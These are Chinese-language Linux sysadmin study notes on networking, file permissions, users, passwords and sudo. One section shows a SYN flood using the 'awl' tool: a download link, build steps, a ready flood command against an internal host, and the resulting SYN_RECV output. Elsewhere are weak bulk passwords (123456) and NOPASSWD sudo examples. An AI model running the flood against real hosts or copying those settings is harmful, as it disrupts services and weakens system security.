网络调试

临时关启网卡

1
2
ifup {interface} || ifconfig {interface} up
ifdown {interface} || ifconfig {interface} down

添加多块网卡

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[felix@es-node03 ~]$ cat /etc/sysconfig/network-scripts/ifcfg-ens160 
TYPE=Ethernet #设备类型为以太网设备
BOOTPROTO=none #是否启用该设备 static静态IP 或dhp 或none无(不指定),如是none,配上IP地址和 static效果一样
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens160 #网卡名字
UUID=6b1f051d-11c8-4d83-ba66-c6d98414ca84 #网卡UUID,全球唯一
DEVICE=ens160 #设备名字,再内核中识别的名字
ONBOOT=yes #启用该设备,如果no,表示不启动此网络设备
IPADDR=192.168.200.153 #IP地址
PREFIX=24 #子网掩码,24相当于255.255.255.0
GATEWAY=192.168.200.1 #网关
DNS1=172.18.16.1 #首选DNS
IPV6_PEERDNS=yes
IPV6_PEERROUTES=yes

cp /etc/sysconfig/network-scripts/ifcfg-ens160 /etc/sysconfig/network-scripts/ifcfg-ens161
#更改内容ens161
NAME=ens161
UUID=6b1f051d-11c8-4d83-ba66-c6d98414ca84 #删除UUID
DEVICE=ens161
IPDADDR=192.168.200.154

systemctl restart NetworkManager
systemctl restart network

配置临时IP

1
ifconfig {interface} {ip addr}

查看端口监听状态

netstat命令:查看系统中网络连接状态信息
常用的参数格式:netstat- lntup

  • -a -all显示本机所有连接和监听的端口
  • -n --numeric don’t resolve names以数字形式显示当前建立的有效连接和端口
  • -u 显示ud协议连接
  • -t显示tcp协议连接
  • -p,--programs显示连接对应的PID与程序名
  • -u显示udp协议连接
1
2
3
4
5
[root@es-node03 ~]# netstat -lntup
Active Internet connections (only servers)
协议 接收 发送 本地IP地址 远程IP地址 状态 PID
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8070 0.0.0.0:* LISTEN 3790/python3

LISTEN:(Listening for a connection.)侦听来自远方的TCP端口的连接请求
SYN-SENT:(Active; sent SYN. Waiting for a matching connection request after having sent a connection request.)再发送连接请求后等待匹配的连接请求
SYN-RECEIVED:(Sent and received SYN. Waiting for a confirming connection request acknowledgment after having both received and sent connection requests.)再收到和发送一个连接请求后等待对方对连接请求的确认
ESTABLISHED:(Connection established.)代表一个打开的连接
FIN-WAIT-1:(Closed; sent FIN.)等待远程TCP连接中断请求,或先前的连接中断请求的确认
FIN-WAIT-2:(Closed; FIN is acknowledged; awaiting FIN.)从远程TCP等待连接中断请求
CLOSE-WAIT:(Received FIN; waiting to receive CLOSE.)等待从本地用户发来的连接中断请求
CLOSING:(Closed; exchanged FIN; waiting for FIN.)等待远程TCP对连接中断的确认
LAST-ACK:(Received FIN and CLOSE; waiting for FIN ACK.)等待原来的发向远程TCP的连接中断请求的确认
TIME-WAIT:(In 2 MSL (twice the maximum segment length) quiet wait after close. )等待足够的时间以确保远程TCP接收到连接中断请求的确认
CLOSED:(Connection is closed.)没有任何连接状态

1
2
3
4
5
6
服务器中存在大量
[root@es-node03 ~]# cat /proc/sys/net/ipv4/tcp_fin_timeout
2
#通过缩短时间 time walt时间来快速释放链接
vim /etc/sysctl.conf
net.ipv4.tcp_fin_timeout = 2

DNS相关配置

/etc/hosts文件,优先级高于DNS解析

1
2
3
4
cat /etc/hosts
192.168.200.148 node1
192.168.200.149 node2
192.168.200.153 node3

/etc/resolv.conf
注:在 centos5版本,配置dns用这个文件。在 centos6 7以后,直接在网卡配置文件中指定DNS1=192168.1.1

1
2
3
[root@es-node03 ~]# cat /etc/resolv.conf 
# Generated by NetworkManager
nameserver 172.18.16.1

问:为什么hosts优先级高于dns

1
2
3
[root@es-node03 ~]# grep "hosts:" /etc/nsswitch.conf
#hosts: db files nisplus nis dns
hosts: files dns myhostname #files(/etc/hosts)放在了dns前面)

系统路由信息

1
2
3
4
5
[root@es-node03 ~]# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.200.1 0.0.0.0 UG 0 0 0 ens160
表示任何网段 默认网关 所有主机

添加删除路由条目

1
2
3
route add -net 192.168.300.0 netmask 255.255.255.0 dev ens161
网段 掩码 出接口
route del -net 192.168.300.0 netmask 255.255.255.0

路由跟踪:查看经过多少三层设备的数量

1
2
3
4
[root@es-node03 ~]# traceroute 172.18.16.1
traceroute to 172.18.16.1 (172.18.16.1), 30 hops max, 60 byte packets
1 localhost (192.168.200.1) 22.189 ms 22.913 ms 23.730 ms
2 * * *

ping命令

ping {ip addr}

  • -c 数目 在发送指定数目的包后停止
  • -i 秒数 设定间隔几秒送一个网络封包给一台机器,预设值是一秒送一次
  • -I ens161 指定从哪个接口出去

arping -I ens160 192.168.200.1 #观察mac地址是否一样,一样则没有人冒充网关

1
2
3
4
ARPING 192.168.200.1 from 192.168.200.153 ens160
Unicast reply from 192.168.200.1 [E8:BD:D1:F6:6A:B3] 4.658ms
Unicast reply from 192.168.200.1 [E8:BD:D1:F6:6A:B3] 3.815ms
Unicast reply from 192.168.200.1 [E8:BD:D1:F6:6A:B3] 4.710ms

watch命令

watch作用:实时监测命令的运行结果,可以看到所有变化数据包的大小

  • -d,–differences #高亮显示指令输出信息不同之处;
  • -n,–interval seconds #指定指令执行的间隔时间(秒)

例:每隔1秒高亮差异显示ens33相关信息

1
2
3
4
5
6
7
8
9
10
11
watch -d -n 1 ifconfig ens160
Every 1.0s: ifconfig ens160 Tue Jun 16 10:32:20 2020

ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.200.153 netmask 255.255.255.0 broadcast 192.168.200.255
inet6 fe80::250:56ff:fe9d:b0b prefixlen 64 scopeid 0x20<link>
ether 00:50:56:9d:0b:0b txqueuelen 1000 (Ethernet)
RX packets 9665169 bytes 8799755781 (8.1 GiB)
RX errors 0 dropped 20 overruns 0 frame 0
TX packets 7473274 bytes 6814218750 (6.3 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

tcpdump抓包

tcpdump常用参数:

  • -c 指定包个数
  • -n ip,端口用数字方式显示
  • -i 指定接口
  • port 指定端口
1
[root@es-node03 ~]# tcpdump -n -c 30 port 22 -i ens160

SYN洪水攻击

SYN洪水攻击主要源于: tcp协议的三次握手机制
SYN洪水攻击的过程

  • 在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端回应的ACK包。
  • 这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接,直到等待超关闭时间,才能施放内存。
  • 如果恶意者通过通过ip欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接并占用大量内存和tcp连接,从而导致正常客户端无法访问服务端,这就是SYN洪水攻击的过程。

使用awl伪装MAC对内网的服务器施实syn洪水攻击
awl下载地址:https://pincheng.lanzous.com/ij9dxdq3aqd

1
2
3
4
5
6
7
8
9
10
11
12
[root@es-node03 ~]# tar -xf awl-0.2.tar.gz 
[root@es-node03 ~]# cd awl-0.2/
[root@es-node03 ~/awl-0.2]# ./configure && make -j 4 && make install
[root@es-node03 ~/awl-0.2]# which awl
/usr/local/bin/awl

[root@es-node03 ~/awl-0.2]# ping 192.168.200.153
PING 192.168.200.153 (192.168.200.153) 56(84) bytes of data.
64 bytes from 192.168.200.153: icmp_seq=1 ttl=64 time=0.322 ms
[root@es-node03 ~]# arp -n | grep 153
192.168.200.153 ether 00:50:56:9d:0b:0b C ens160
#获取目标主机mac地址

awl 的格式如下:
awl -i ens160 -m 00:50:56:9d:0b:0b -d 192.168.200.153 -p 80
参数如下:

  • -i 发送包的接口,如果省略默认是eth0
  • -m 被攻击机器的mac地址,程序不能根据被攻击IP得到MAC,需要手工指定.先ping 目标IP,再arp -a就可以看到.
    如果省略则为ff:ff:ff:ff:ff:ff :这表示向同一网段內的所有主机发出ARP广播,进行SYN攻击,还容易使整个局域网瘫痪
  • -d 被攻击机器的IP
  • -p 被攻击机器的端口.
    这里注意,手动指定-i参数很重要,比如我们的网卡是ens160,那就要指定 -i ens160,alvin的实测结果显示,不这样指定的时候,攻击无效。
1
2
3
4
5
6
[root@es-node03 ~]# netstat -na | grep "SYN_RECV"
tcp 0 0 192.168.200.153:80 218.149.245.64:17552 SYN_RECV
tcp 0 0 192.168.200.153:80 111.187.179.3:49721 SYN_RECV
tcp 0 0 192.168.200.153:80 59.171.38.91:26277 SYN_RECV
tcp 0 0 192.168.200.153:80 17.139.112.127:34437 SYN_RECV
...

文件相关属性

1
2
3
4
5
[root@f felix]# ls -lih
total 8.0K
537327051 drwxr-xr-x 2 root root 6 2019-09-29 16:59 felix1
2385 - rw-r--r- - 1 root root 0 2019-09-30 11:00 felix10.txt
inode 文件类型 权限 SElinux 硬链接数 属主 属组 大小 修改时间 文件名

索引节点inode&磁盘块Block

Linux文件访问流程

  • inode:

  • 概念:索引节点的概念出在ext文件系统中(ext2 ext3 ext4),在磁盘进行格式化(建立文件系统)操作时,会生成大量的inode和block,找到一个文件最终都要通过索引节点inode才能找到(相当于书的目录)。

  • 定义:类似于文件的身份证,索引节点是文件在系统中的唯一标识。索引节点是硬盘上的一块存储空间。大小256字节或512字节。

  • 作用:索引节点里存放的数据是文件的属性(大小、时间、用户和组、权限等)唯独不包含文件名(文件名在上级目录的block里)。同时存放指向文件Block的指针(类似于软链接)。

  • 特点:1.在ext3/ext4文件系统(C5/C6默认文件系统)下,一个非空文件至少要占用一个且只有一个Inode以及一个或多个Block。在文件系统进行初始化时,Block数量远大于inode数量。

    1. Inode节点号相同的文件,互为硬链接文件,可以认为是一个文件的不同入口。
    2. Inode在某一个文件系统(分区)内是唯一的。
  • Block:

  • 作用:用来存放实际数据的实体单元(ext文件系统一般最大为4KB),即用来存放真实数据,例如:照片、视频等普通文件数据,单个大的文件需要占用多个Block块来存储,特别小的单个文件如果不能占满整个Block块,剩余的空间也无法再利用。

  • 特点:

    1. 磁盘读取数据是按Block为单位存取的。
    2. 每读取一个Block就会消耗一次磁盘I/O
    3. 若文件比较大,一个文件可能占用多个Block。
    4. 若文件比较小,一个Block剩余空间会被浪费,无论内容有多小。
    5. block大小也是格式化时确定的,命令是 mkfs.ext4 -b 2048 -I 256 /dev/sdb。

inode&block管理:

查看Inodes数量:df -i

1
2
3
4
[root@f felix]# df -i
文件系统 总数 已使用 剩余 使用百分比 挂载点
Filesystem Inodes IUsed IFree IUse% Mounted on
/dev/vda3 207092736 99830 206992906 1% /

查看Block数量:df -h

1
2
3
4
[root@f felix]# df -h
文件系统 大小 已使用 空闲 使用百分比 挂载点
Filesystem Size Used Avail Use% Mounted on
/dev/vda3 198G 4.3G 194G 3% /

生产环境下排查硬盘满的原因及解法:
disk

linux文件类型

filetype

文件权限机制

权限是操作系统用来限制对资源访问的机制,权限一般分为读、写、执行。系统中每个文件都拥有特定的权限、所属用户及所属组,通过这样的机制来限制哪些用户、哪些组可以对特定文件进行什么样的操作。
upload successful

SELinux

selinux

Linux软硬链接

headlinksoftlink
有关硬链接:

  1. 具有相同inode节点号的多个文件互为硬链接文件,相当于一个房间(文件)开了多个门(硬链接);
  2. 删除硬链接文件或者删除源文件任意之一,文件实体并未被删除;
  3. 只有删除了源文件和所有对应的硬链接文件,文件实体才会被删除;
  4. 硬链接文件是文件的另一个入口;
  5. 可以通过给文件设置硬链接文件来防止重要文件被误删(防删不防改,备份,防删又防改。);
  6. 创建硬链接命令 ln 源文件 硬链接文件;
  7. 硬链接文件是普通文件 -,可以用rm删除;
  8. 对于静态文件(没有进程正在调用),当硬链接数为0时文件就被删除。注意:如果有进程正在调用,则无法删除或者即使文件名被删除但空间不会释放。
  9. 目录/ 和 目录/.互为硬链接,目录/ 和 目录/子目录/.. 互为硬链接

硬链接扩展:
cp 操作慢于 mv 命令
cp命令将源文件和cp出的新文件完全独立成了两个个体(即新文件改变了原本指向的inode和block)。
mv命令只是将文件名改了,并未重新指向新的inode和block。

有关软链接:

  1. 软链接类似windows系统的快捷方式;
  2. 软链接里面存放的是源文件的路径,指向源文件的文件名;
  3. 删除源文件,软链接依然存在,但无法访问源文件内容;
  4. 软链接失效时一般是白字红底闪烁;
  5. 创建软链接命令 ln -s 源文件 软链接文件;
  6. 软链接和源文件是不同的文件,文件类型也不同,inode号也不同;
  7. 软链接的文件类型是“l”,可以用rm删除。

软硬链接的区别:

  1. 原理上,硬链接和源文件的inode节点号相同,两者互为硬链接。软连接和源文件的inode节点号不同,进而指向的block也不同,软连接block中存放了源文件的路径名(文件名)。
  2. 实际上,硬链接和源文件是同一份文件,而软连接是独立的文件,类似于快捷方式,存储着源文件的位置信息便于指向。
  3. 使用限制上,不能对目录创建硬链接,不能对不同文件系统创建硬链接,不能对不存在的文件创建硬链接;可以对目录创建软连接,可以跨文件系统创建软连接,可以对不存在的文件创建软连接。

文件的时间戳

upload successful

文件&目录权限

文件权限
目录权限

Linux基础权限 9个字符,分三组,三个字符一组:

1
2362 drwxr-xr-x 2 root root   6 2019-10-09 16:24 1.txt

rwx r-x r-x
前3字符:用户(属主)权限位
中3字符:用户组(属组)权限位
后3字符:其他用户权限位

权限位置(UGO):rwx,读 4,写2,可执行1,- 0
可读r:表示读取、浏览文件内容(即读取文件实体block)的权限。
可写w:表示具有新增、修改、删除文件内容的权限。

  1. 如果没有可写w的配合,那么可以使用vim编辑文件时会提示无法编辑(但可以强制编辑),可以使用echo等命令进行重定向或追加。
  2. 删除文件或创建文件的权限时受父目录(上一级目录)的权限控制的[因为文件名没有存放再Inode里),而是在上级目录的Block里存放着,若修改上级目录的Block(删除文件的本质),当然会受上级目录的Inode的权限控制],和文件本身的权限无关,因此,文件本身的可写w权限,和文件是否能被删除无关。(打狗也要看主人)

rm file

可执行x:具有执行文件的权限

  1. 文件本身要能够执行(命令,脚本)
  2. 如果是普通用户,同时还需要具备可读r的权限才能够执行文件。
  3. root用户只要有可执行x的权限即可执行文件

umask:控制默认权限

1
2
[root@es-node03 ~]# umask
0022

文件:
创建文件默认最大的权限为666(-rw-rw-rw-),其默认创建的文件没有可执行权限x位。
默认权限-umask=实际权限 #对于文件当umask中存在奇数位的时候,在计算完毕后,奇数位加1

目录:
创建文件默认最大权限为777(rwxrwxrwx)
默认权限-umask=实际权限

特殊权限3位:
1

2

修改:放在基础权限数字的前面
[root@oldboyedu /oldboy]# chmod 7755 abc <==UGO中只要存在x权限,则特殊权限位(s,s,t)都为小写,反之则都为大写
所以结果:abc rwsr-sr-t

suid:
SUID作用:suid的作用就是让普通用户可以在执行某个设置了suid位的命令或程序时,拥有和root管理员一样的身份和权限(默认情况)。
例如:passwd命令
passwd命令
任何人执行passwd这个命令,就会以passwd这个命令的属主(即 root)相同的权限来执行passwd。这就是suid的作用(尚方宝剑)

3

suid总结:

  1. suid功能时正对二进制命令或程序的,不能用在Shell等类型脚本文件上。
  2. 用户或属主对应的前三位权限的x位上,如果有s(S)就表示具备suid权限。
  3. suid的作用就是让普通用户可以在执行某个设置了suid位命令或程序时,拥有和root管理员一样的身份和权限(默认)。
  4. 二进制命令程序需要有可执行权限x配合才行。
  5. suid对应的身份和权限今在程序命令执行过程中有效。
  6. suid是一把双刃剑,是一个比较危险的功能,对系统安全有一定的威胁,企业里用户授权可以使用sudo等替代sgid功能。
  7. 在进行安全优化时,系统中默认设置了suid权限的命令要被取消掉。

sgid:
对于二进制命令或者程序来说,sgid的功能和suid基本相同,唯一区别是suid是获得命令属主的身份和权限,而sgid则是获得命令属组的身份和权限。

sgid总结:

  1. 与suid不同的是,sgid既可以针对文件,亦可以针对目录。
  2. sgid的权限是针对用户组权限位的。
  • 对于文件来说,sgid:
    • sgid仅对二进制命令及程序有效。
    • 二进制命令或程序,也需要有可执行权限x配合。
    • 执行命令的任意用户可以获得该命令程序执行期间所属组的身份和权限。
  • 对于目录来说,sgid:
    • Linux里默认情况所有创建,默认用户和组都是自身。
    • sgid可以让用户在此目录下创建的文件和目录具有和此目录相同的用户组设置

3

粘滞位:
文件夹权限全部打开,但是目录本身只能被属主或root删除。

文件属主,属组的特殊情况:
当文件或目录的用户或用户组被删除时,文件对应的属主和属组位置就会显示UID或GID。
修复方法:

1
2
useradd 用户名 -u UID
groupadd -g GID 组名

生产环境应用

安全权限的临界点:
文件的安全临界点:644
目录的安全临界点:755

文件加解锁:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[root@S1 ~]# lsattr /etc/passwd
---------------- /etc/passwd
[root@S1 ~]# chattr +i /etc/passwd <==锁定文件,不给删除不给修改
[root@S1 ~]# lsattr /etc/passwd
----i----------- /etc/passwd
[root@S1 ~]# cp /etc/passwd{,.ori}
cp: overwrite ‘/etc/passwd.ori’? y
[root@S1 ~]# rm -rf /etc/passwd
rm: cannot remove ‘/etc/passwd’: Operation not permitted
[root@S1 ~]# echo ddd > /etc/passwd
-bash: /etc/passwd: Permission denied

[root@S1 ~]# touch felix.txt
[root@S1 ~]# chattr +a felix.txt <==可以追加内容,但不能删除。
[root@S1 ~]# lsattr felix.txt
-----a---------- felix.txt
[root@S1 ~]# echo 123 >> felix.txt
[root@S1 ~]# echo 123 >> felix.txt
[root@S1 ~]# echo 123 >> felix.txt
[root@S1 ~]# cat felix.txt
123
123
123
[root@S1 ~]# rm -rf felix.txt
rm: cannot remove ‘felix.txt’: Operation not permitted

4

用户和用户组

用户,用户组,管理员之间的关系:

5
UID
6

相关配置文件:
/etc/passwd 存储当前系统中所有用户的信息
7
1.root用户编号固定为0
2.除了root用户外的其他用户,当用户被创建时,会在/home目录下为用户创建一个和用户名相同的目录作为这个用户的家目录。

1
2
3
4
5
6
7
8
9
10
11
[root@lihuaning maildrop]# cat /etc/shells 
/bin/sh
/bin/bash
/sbin/nologin
/usr/bin/sh
/usr/bin/bash
/usr/sbin/nologin
/bin/tcsh
/bin/csh
[root@lihuaning maildrop]# ls -l /bin/sh
lrwxrwxrwx. 1 root root 4 2019-07-12 22:48 /bin/sh -> bash

bash是sh的扩展,sh是bash的软链接

/etc/shadow 存储当前系统中所有用户的密码信息,shadow配置文件的行数与passwd文件相同。
8

添加用户:
9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[root@lihuaning ~]# cat /etc/default/useradd  <==useradd配置文件
# useradd defaults file
GROUP=100 <==依赖于/etc/login.defs 的USERGROUP_ENAB参数,如果no,则此处控制
HOME=/home <==定义默认家目录位置
INACTIVE=-1 <==用户是否启用过期停权,-1不启用
EXPIRE= <==用户终止日期,不设置代表不启用
SHELL=/bin/bash <==定义默认shell
SKEL=/etc/skel <==配置所有新用户家目录的默认环境变量文件存放路径,从该文件中复制过去,为每个用户提供用户环境变量的目录
[root@lihuaning ~]# ls -A /etc/skel/
.bash_logout .bash_profile .bashrc

CREATE_MAIL_SPOOL=yes <==创建mail文件

修改方法:
useradd -D 接参数改 或者直接编辑配置文件

示例:
在切到该用户后,提示符变为如下,是因为用户的环境变量缺失导致的。
[root@lihuaning xjh]# su xjh
bash-4.2$

解决:bash-4.2$ cp /etc/skel/.bash* .
若未生效:source .bash_logout .bashrc .bash_profile <==使环境变量生效

或者:
[root@lihuaning ~]# echo $PS1
[\u@\h \W]\$
bash-4.2$ export PS1='[\u@\h \W]\$' <==临时生效
[xjh@lihuaning root]$
logout 登出再登陆

/etc/login.defs
是设置用户帐号限制的文件。该文件里的配置对root用户无效。如果/etc/shadow文件里有相同的选项,则以/etc/shadow里的设置为准,也就是说/etc/shadow的配置优先级高于/etc/login.defs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
[root@felix ~]# cat /etc/login.defs 
#
# Please note that the parameters in this configuration file control the
# behavior of the tools from the shadow-utils component. None of these
# tools uses the PAM mechanism, and the utilities that use PAM (such as the
# passwd command) should therefore be configured elsewhere. Refer to
# /etc/pam.d/system-auth for more information.
#

# *REQUIRED*
# Directory where mailboxes reside, _or_ name of file, relative to the
# home directory. If you _do_ define both, MAIL_DIR takes precedence.
# QMAIL_DIR is for Qmail
#
#QMAIL_DIR Maildir
MAIL_DIR /var/spool/mail <==创建用户时,要在目录/var/spool/mail中创建一个用户mail文件
#MAIL_FILE .mail

# Password aging controls:
#
# PASS_MAX_DAYS Maximum number of days a password may be used.
# PASS_MIN_DAYS Minimum number of days allowed between password changes.
# PASS_MIN_LEN Minimum acceptable password length.
# PASS_WARN_AGE Number of days warning given before a password expires.
#
PASS_MAX_DAYS 99999 <==密码最大有效期
PASS_MIN_DAYS 0 <==两次修改密码的最小间隔时间
PASS_MIN_LEN 5 <==密码最小长度,对于root无效
PASS_WARN_AGE 7 <==密码过期前多少天开始提示

#
# Min/max values for automatic uid selection in useradd
#创建用户时不指定UID的话自动UID的范围
UID_MIN 1000
UID_MAX 60000
# System accounts<==虚拟用户UID范围
SYS_UID_MIN 201
SYS_UID_MAX 999

#
# Min/max values for automatic gid selection in groupadd
#自动组ID的范围
GID_MIN 1000
GID_MAX 60000
# System accounts
SYS_GID_MIN 201
SYS_GID_MAX 999

#
# If defined, this command is run when removing a user.
# It should remove any at/cron/print jobs etc. owned by
# the user to be removed (passed as the first argument).
#
#USERDEL_CMD /usr/sbin/userdel_local <==当删除用户的时候执行的脚本,默认关闭

#
# If useradd should create home directories for users by default
# On RH systems, we do. This option is overridden with the -m flag on
# useradd command line.
#
CREATE_HOME yes <==是否创建家目录,可用-m控制

# The permission mask is initialized to this value. If not specified,
# the permission mask will be initialized to 022.
UMASK 077 <==家目录对对应的umask值

# This enables userdel to remove user groups if no members exist.
#
USERGROUPS_ENAB yes <==删除用户时,同时删除对应组。(如果组内没有其他成员)

# Use SHA512 to encrypt password.
ENCRYPT_METHOD SHA512 <==密码的加密算法SHA512
注意:
1.给开发人员等添加用户,尽量给截止时间。

修改用户:
10
删除用户:
11
生产环境中一般先注释passwd中该用户的所属行,不立刻进行删除。

设置密码:
12

–stdin 从标准输入接受密码并设置

不交互设置密码:
方法1:

1
2
3
[root@oldboyedu ~]# echo 123456|passwd --stdin oldgirl
Changing password for user oldgirl.
passwd: all authentication tokens updated successfully.

方法2:

1
2
3
4
5
6
[root@oldboyedu ~]# echo 123456 >pass
[root@oldboyedu ~]# cat pass
123456
[root@oldboyedu ~]# passwd --stdin oldgirl <pass
Changing password for user oldgirl.
passwd: all authentication tokens updated successfully.

生产环境中密码管理思路:

  1. 用户密码要足够复杂,最好8位以上字母(含大小写)、数字、特殊字符的组合
  2. 较大的企业用户和密码可以统一管理(采用微软活动目录或 openldap开源工具)
  3. 动态密码:动态口令,需要时登录到动态口令系统中,即时申请获得密码,但如果若干时间内不操作服务器,密码就会失效

13

1
2
3
4
5
6
[root@oldboyedu ~]# tail -4 /etc/passwd|awk -F ":" '{print $1":oldboy"}' >user.log
[root@oldboyedu ~]# cat user.log
gongli1:oldboy
gongli2:oldboy
chenglong1:oldboy
zongsheng:oldboy

chpasswd对密码文件的要求是上述user.log

方法1:

1
[root@oldboyedu ~]# chpasswd<user.log 

方法2:

1
[root@oldboyedu ~]# tail -4 /etc/passwd|awk -F ":" '{print $1":oldboy"}'|chpasswd 

批量创建用户并设置密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[root@felix ~]# echo felix{01..10} | xargs -n1 | sed -rn 's#(.*)#useradd \1;echo 123456 | passwd --stdin \1#gp' | bash

# echo命令输出用户名 | xargs -n1 对输出的元素进行分组,每组一个元素 | 利用sed -n参数取消默认输出,-r参数支持ERE扩展元字符在这里指括号() 匹配所有,替换为 useradd \1取出所有已经分组的元素。此刻用户已经添加完毕;echo 123456 | passwd --stdin \1取出每位用户并从标准输入设置密码 接p打印结果。 | 将结果输出给bash

输出:
Changing password for user felix01.
passwd: all authentication tokens updated successfully.
Changing password for user felix02.
passwd: all authentication tokens updated successfully.
Changing password for user felix03.
passwd: all authentication tokens updated successfully.
Changing password for user felix04.
passwd: all authentication tokens updated successfully.
Changing password for user felix05.
passwd: all authentication tokens updated successfully.
Changing password for user felix06.
passwd: all authentication tokens updated successfully.
Changing password for user felix07.
passwd: all authentication tokens updated successfully.
Changing password for user felix08.
passwd: all authentication tokens updated successfully.
Changing password for user felix09.
passwd: all authentication tokens updated successfully.
Changing password for user felix10.
passwd: all authentication tokens updated successfully.

14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[root@felix ~]# chage -l felix01
Last password change : Oct 17, 2019 <==密码最近修改时间 2019-10-17 -d参数可控制该行

Password expires : never <==密码过期时间,从来不过期
-M参数控制该行

Password inactive : never <==密码停权时间
-l参数控制该行

Account expires : never <==账户过期时间
-E参数控制该行

Minimum number of days between password change : 0 <==修改密码最小间隔天数
-m参数控制该行

Maximum number of days between password change : 99999 <==最长时间
-M控制该行

Number of days of warning before password expires : 7 <==密码过去提前几天进行警告
-W控制该行


[root@felix ~]# chage -E "2020-10-1||$(date +%F -d'10day')" felix01 <==修改账户过期时间,或十天后停权
[root@felix ~]# chage -l felix01
Last password change : Oct 17, 2019
Password expires : never
Password inactive : never
Account expires : Oct 01, 2020 *
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7

其他用户相关命令:

1
2
3
4
5
id #查看用户身份
whoami #查看当前用户
w #查看所以登陆用户
last #显示登陆过的用户信息列表
lastlog #汇报最近货指定用户的登录情况

关于用户的骚操作:
touch /etc/nologin 执行该命令会禁止除了root用户以外的其他用户登录服务器只要是创建该文件即可,应用场景比如服务器维护时需要暂时禁止普通用户登录。

GID

15
相关配置文件:/etc/group

16

用户身份切换su
17

susu -的区别
18
前者用户身份切换但环境变量没改变。

sudo命令
18

执行流程:

19
配置/ect/sudoers

  • visudo
  • vim sudoers <==不推荐
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[felix01@felix ~]$ ls /root
ls: cannot open directory /root: Permission denied

[root@felix ~]# visudo
97 ## Allow root to run any commands anywhere
98 root ALL=(ALL) ALL
99 felix01 ALL=(ALL) /bin/ls,/bin/cp
用户 主机=(角色) 命令(全路径 which),多个命令用,隔开

99 felix ALL=(ALL) ALL //相当于felix设置成管理员
99 felix ALL=(ALL) NOPASSWD: ALL //sudo去密码
[root@felix ~]# sudo su -
Last login: Thu Oct 17 15:30:38 CST 2019 from 10.93.151.253 on pts/0
[root@felix ~]#
禁止root远程连接

[root@felix ~]# ll /var/db/sudo/felix/1 <==密码过期时间戳文件,默认5分钟过期
-rw------- 1 root felix 48 2019-10-17 16:25 /var/db/sudo/felix/1
[felix@felix ~]$ sudo -k <==清除时间戳,使sudo提示输入密码
[felix@felix ~]$ sudo ls /root
[sudo] password for felix: